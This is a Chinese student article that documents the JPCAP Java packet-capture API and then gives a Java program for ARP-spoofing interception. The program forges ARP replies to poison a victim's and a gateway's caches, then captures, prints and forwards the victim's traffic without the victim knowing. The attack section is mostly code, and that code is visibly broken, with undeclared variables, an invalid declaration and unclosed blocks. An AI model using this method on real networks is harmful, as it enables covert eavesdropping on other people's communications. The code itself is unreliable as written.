  半年前网络技术课的老师要我们做个ARP查询，老师是教人用winsock的，可我一味钻java，干着急，钻进java世界到处查，终于找到这么一个东西。

然后做了一个ARP监听器，没想到被老师看上了，说是国内JPCAP研究的人不多，可以考虑写一篇论文，老师给我推荐发表。

于是有了这么一篇东西。不过现在还不知道老师发哪个刊物去了。。。老师说，还没回音。。

**JPCAP——JAVA中的数据链路层控制**

**一．JPCAP简介**

众所周知，JAVA语言虽然在TCP/UDP传输方面给予了良好的定义，但对于网络层以下的控制，却是无能为力的。JPCAP扩展包弥补了这一点。

JPCAP实际上并非一个真正去实现对数据链路层的控制，而是一个中间件，JPCAP调用wincap/libpcap，而给JAVA语言提供一个公共的接口，从而实现了平台无关性。在官方网站上声明，JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系统。

**二．JPCAP机制**

       JPCAP的整个结构大体上跟wincap/libpcap是很相像的，例如NetworkInterface类对应wincap的typedef struct \_ADAPTER  ADAPTER，getDeviceList()对应pcap\_findalldevs()等等。 JPCAP有16个类，下面就其中最重要的4个类做说明。

**1．NetworkInterface**

该类的每一个实例代表一个网络设备，一般就是网卡。这个类只有一些数据成员，除了继承自java.lang.Object的基本方法以外，没有定义其它方法。

|  |  |
| --- | --- |
| **数据成员** | |
| NetworkInterfaceAddress[] | **addresses**      这个接口的网络地址。设定为数组应该是考虑到有些设备同时连接多条线路，例如路由器。但我们的PC机的网卡一般只有一条线路，所以我们一般取addresses[0]就够了。 |
| java.lang.String | **datalink\_description**.      数据链路层的描述。描述所在的局域网是什么网。例如，以太网（Ethernet）、无线LAN网（wireless LAN）、令牌环网(token ring)等等。 |
| java.lang.String | **datalink\_name**     该网络设备所对应数据链路层的名称。具体来说，例如Ethernet10M、100M、1000M等等。 |
| java.lang.String | **description**     网卡是XXXX牌子XXXX型号之类的描述。例如我的网卡描述：Realtek RTL8169/8110 Family Gigabit Ethernet NIC |
| boolean | **Loopback**      标志这个设备是否loopback设备。 |
| byte[] | **mac\_address**     网卡的MAC地址，6个字节。 |
| java.lang.String | **Name**      这个设备的名称。例如我的网卡名称：/Device/NPF\_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5} |

**2．JpcapCaptor**

该类提供了一系列静态方法实现一些基本的功能。该类一个实例代表建立了一个与指定设备的链接，可以通过该类的实例来控制设备，例如设定网卡模式、设定过滤关键字等等。

|  |  |
| --- | --- |
| **数据成员** | |
| int | **dropped\_packets**  抛弃的包的数目。 |
| protected  int | **ID**  这个数据成员在官方文档中并没有做任何说明，查看JPCAP源代码可以发现这个ID实际上在其JNI的C代码部分传进来的，这类本身并没有做出定义，所以是供其内部使用的。实际上在对JpcapCator实例的使用中也没有办法调用此数据成员。 |
| protected static boolean[] | **instanciatedFlag**     同样在官方文档中没有做任何说明，估计其为供内部使用。 |
| protected static int | **MAX\_NUMBER\_OF\_INSTANCE**  同样在官方文档中没有做任何说明，估计其为供内部使用。 |
| int | **received\_packets**         收到的包的数目 |
| **方法成员** | |
| static NetworkInterface[] | **getDeviceList**()            返回一个网络设备列表。 |
| static JpcapCaptor | **openDevice**(NetworkInterface interface, int snaplen, boolean promisc, int to\_ms)           创建一个与指定设备的连接并返回该连接。注意，以上两个方法都是静态方法。        Interface：要打开连接的设备的实例；        Snaplen：这个是比较容易搞混的一个参数。其实这个参数不是限制只能捕捉多少数据包，而是限制每一次收到一个数据包，只提取该数据包中前多少字节；        Promisc：设置是否混杂模式。处于混杂模式将接收所有数据包，若之后又调用了包过滤函数setFilter()将不起任何作用；        To\_ms：这个参数主要用于processPacket()方法，指定超时的时间； |
| void | **Close**()           关闭调用该方法的设备的连接，相对于openDivece()打开连接。 |
| JpcapSender | **getJpcapSenderInstance**()            该返回一个JpcapSender实例，JpcapSender类是专门用于控制设备的发送数据包的功能的类。 |
| Packet | **getPacket**()            捕捉并返回一个数据包。这是JpcapCaptor实例中四种捕捉包的方法之一。 |
| int | **loopPacket**(int count, PacketReceiver handler)            捕捉指定数目的数据包，并交由实现了PacketReceiver接口的类的实例处理，并返回捕捉到的数据包数目。如果count参数设为－1，那么无限循环地捕捉数据。        这个方法不受超时的影响。还记得openDivice()中的to\_ms参数么？那个参数对这个方法没有影响，如果没有捕捉到指定数目数据包，那么这个方法将一直阻塞等待。  PacketReceiver中只有一个抽象方法void receive(Packet p)。 |
| int | **processPacket**(int count, PacketReceiver handler)             跟**loopPacket**()功能一样，唯一的区别是这个方法受超时的影响，超过指定时间自动返回捕捉到数据包的数目。 |
| int | **dispatchPacket**(int count, PacketReceiver handler)         跟**processPacket**()功能一样，区别是这个方法可以处于“non-blocking”模式工作，在这种模式下dispatchPacket()可能立即返回，即使没有捕捉到任何数据包。 |
| void | **setFilter**(java.lang.String condition, boolean optimize)            .condition：设定要提取的包的关键字。         Optimize：这个参数在说明文档以及源代码中都没有说明，只是说这个参数如果为真，那么过滤器将处于优化模式。 |
| void | **setNonBlockingMode**(boolean nonblocking)       如果值为“true”，那么设定为“non-blocking”模式。 |
| void | **breakLoop**()       当调用processPacket()和loopPacket()后，再调用这个方法可以强制让processPacket()和loopPacket()停止。 |

**3．JpcapSender**

该类专门用于控制数据包的发送。

|  |  |
| --- | --- |
| **方法成员** | |
| void | **close**()            强制关闭这个连接。 |
| static JpcapSender | **openRawSocket**()       这个方法返回的JpcapSender实例发送数据包时将自动填写数据链路层头部分。 |
| void | **sendPacket**(Packet packet)            JpcapSender最重要的功能，发送数据包。需要注意的是，如果调用这个方法的实例是由**JpcapCaptor**的**getJpcapSenderInstance**()得到的话，需要自己设定数据链路层的头，而如果是由上面的**openRawSocket**()得到的话，那么无需也不能设置，数据链路层的头部将由系统自动生成。 |

**4．Packet**

这个是所有其它数据包类的父类。Jpcap所支持的数据包有：  
ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket

**三．使用JPCAP实现监听**

**1．监听原理**

       在详细说用JPCAP实现网络监听实现前，先简单介绍下监听的原理。

       局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段，局域网的布局是使用总线式（或集线式）结构，要到达监听只需要将网卡设定为混杂模式即可，但现在的局域网络普遍采用的是交换式网络，所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的，我们需要“欺骗”路由器、“欺骗”交换机，即“ARP欺骗”技术。

       假设本机为A，监听目标为B。

首先，伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入网关IP，目的地址填入B的MAC、IP，然后将这个包发送给B，而B接收到这个伪造的ARP REPLY包后，由于源IP为网关IP，于是在它的ARP缓存表里刷新了一项，将（网关IP，网关MAC）刷新成（网关IP，A的MAC）。而B要访问外部的网都需要经过网关，这时候这些要经过网关的包就通通流到A的机器上来了。

接着，再伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入B的IP，目的地址填入网关MAC、IP，然后将这个包发给网关，网关接收到这个伪造的ARP REPLY包后，由于源IP为B的IP，于是在它的ARP缓存表里刷新了一项，将（B的IP，B的MAC）刷新成（B的IP，A的MAC）。这时候外部传给B的数据包经过网关时，就通通转发给A。

这样还只是拦截了B的数据包而已，B并不能上网——解决方法是将接收到的包，除了目的地址部分稍做修改，其它原封不动的再转发出去，这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。

ARP数据包解析

单元：Byte

|  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| Ethernet头部 | | | ARP数据部分 | | | | | | | |
| ６ | ６ | ２ | 2 | 2 | 2 | 2 | ４ | ６ | ４ | ６ |
| 目标MAC地址 | 源地MAC地址 | 类型号0x0800:ip  0x0806:ARP | 局域网类型  以太网0x0001 | 网络协议类型  IP网络0x0800 | MAC/IP地址长度，恒为0x06/04 | ARP包类型  REPLY  0x0002 | ARP目标IP地址 | ARP目标MAC 地址 | ARP源IP地址 | ARP源MAC地址 |

**2．用JPCAP实现监听**

       就如上面说的，为了实现监听，我们必须做四件事：

A．发送ARP包修改B的ARP缓存表；

B．发送ARP包修改路由ARP缓存表；

C．转发B发过来的数据包；

D．转发路由发过来的数据包；

下面我们给个小小的例子说明怎样实现。

我们假定运行这个程序的机器A只有一个网卡，只接一个网络，所在局域网为Ethernet，并且假定已经通过某种方式获得B和网关的MAC地址（例如ARP解析获得）。我们修改了B和网关的ARP表，并对他们的包进行了转发。

public class changeARP{

private NetworkInterface[] devices; //设备列表

private NetworkInterface device; //要使用的设备

private JpcapCaptor jpcap; //与设备的连接

private JpcapSender sender; //用于发送的实例

private byte[] targetMAC, gateMAC; //B的MAC地址，网关的MAC地址

private byte[] String targetIp, String gateIp; //B的IP地址，网关的IP地址

/\*\*

\*初始化设备

\* JpcapCaptor.getDeviceList()得到设备可能会有两个，其中一个必定是“Generic

\*dialup adapter”，这是windows系统的虚拟网卡，并非真正的硬件设备。

\*注意：在这里有一个小小的BUG，如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new

\*JFame（）这类的语句会影响得到设备个数，只会得到真正的硬件设备，而不会出现虚拟网卡。

\*虚拟网卡只有MAC地址而没有IP地址，而且如果出现虚拟网卡，那么实际网卡的MAC将分

\*配给虚拟网卡，也就是说在程序中调用device. mac\_address时得到的是00 00 00 00 00 00。

\*/

private NetworkInterface getDevice() throws IOException {

devices = JpcapCaptor.getDeviceList(); //获得设备列表

device = devices[0]; //只有一个设备

jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接

jpcap.setFilter(“ip”,true); //只监听B的IP数据包

sender = captor.getJpcapSenderInstance();

}

/\*\*

\*修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表，所以必须每隔一

\*段时间就发一次包重新更改B和网关的ARP表。

\*@参数 targetMAC B的MAC地址，可通过ARP解析得到；

\*@参数 targetIp B的IP地址；

\*@参数 gateMAC 网关的MAC地址；

\*@参数 gateIp 网关的IP;

\*/

public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)

throws UnknownHostException,InterruptedException {

this. targetMAC = targetMAC;

this. targetIp = targetIp;

this. gateMAC = gateMAC;

this. gateIp = gateIp;

getDevice();

arpTarget = new ARPPacket(); //修改B的ARP表的ARP包

arpTarget.hardtype = ARPPacket.HARDTYPE\_ETHER; //选择以太网类型(Ethernet)

arpTarget.prototype = ARPPacket.PROTOTYPE\_IP; //选择IP网络协议类型

arpTarget.operation = ARPPacket.ARP\_REPLY; //选择REPLY类型

arpTarget.hlen = 6; //MAC地址长度固定6个字节

arpTarget.plen = 4; //IP地址长度固定4个字节

arpTarget.sender\_hardaddr = device.mac\_address; //A的MAC地址

arpTarget.sender\_protoaddr = InetAddress.getByName(gateIp).getAddress(); //网关IP

arpTarget.target\_hardaddr = targetMAC; //B的MAC地址

arpTarget.target\_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP

EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头

ethToTarget.frametype = EthernetPacket.ETHERTYPE\_ARP; //选择以太包类型

ethToTarget.src\_mac = device.mac\_address; //A的MAC地址

ethToTarget.dst\_mac = targetMAC; //B的MAC地址

arpTarget.datalink = ethToTarget; //将以太头添加到ARP包前

arpGate = new ARPPacket(); //修改网关ARP表的包

arpGate.hardtype = ARPPacket.HARDTYPE\_ETHER; //跟以上相似，不再重复注析

arpGate.prototype = ARPPacket.PROTOTYPE\_IP;

arpGate.operation = ARPPacket.ARP\_REPLY;

arpGate.hlen = 6;

arpGate.plen = 4;

arpGate.sender\_hardaddr = device.mac\_address;

arpGate.sender\_protoaddr = InetAddress.getByName(targetIp).getAddress();

arpGate.target\_hardaddr = gateMAC;

arpGate.target\_protoaddr = InetAddress.getByName(gateIp).getAddress();

EthernetPacket ethToGate = new EthernetPacket();

ethToGate.frametype = EthernetPacket.ETHERTYPE\_ARP;

ethToGate.src\_mac = device.mac\_address;

ethToGate.dst\_mac = gateMAC;

arpGate.datalink = ethToGate;

thread=new Thread(new Runnable(){ //创建一个进程控制发包速度

public void run() {

while (true) {

sender.sendPacket(arpTarget);

sender.sendPacket(arpGate);

Thread.sleep(500);

}).start();

recP(); //接收数据包并转发

}

/\*\*

\*修改包的以太头，转发数据包

\*参数 packet 收到的数据包

\*参数 changeMAC 要转发出去的目标

\*/

private void send(Packet packet, byte[] changeMAC) {

EthernetPacket eth;

if (packet.datalink instanceof EthernetPacket) {

eth = (EthernetPacket) packet.datalink;

for (int i = 0; i < 6; i++) {

eth.dst\_mac[i] = changeMAC[i]; //修改包以太头，改变包的目标

eth.src\_mac[i] = device.mac\_address[i]; //源发送者为A

}

sender.sendPacket(packet);

}

}

/\*\*

\*打印接受到的数据包并转发

\*/

public void recP(){

IPPacket ipPacket = null;

while(true){

ipPacket = （IPPacket）jpcap.getPacket();

System.out.println(ipPacket);

if (ipPacket.src\_ip.getHostAddress().equals(targetIp))

send(packet, gateMAC);

else

send(packet, targetMAC);

}

}

注意：这个例子只是为了说明问题，并没有考虑到程序的健壮性，所以并不一定能在任何一台机器任何一个系统上运行。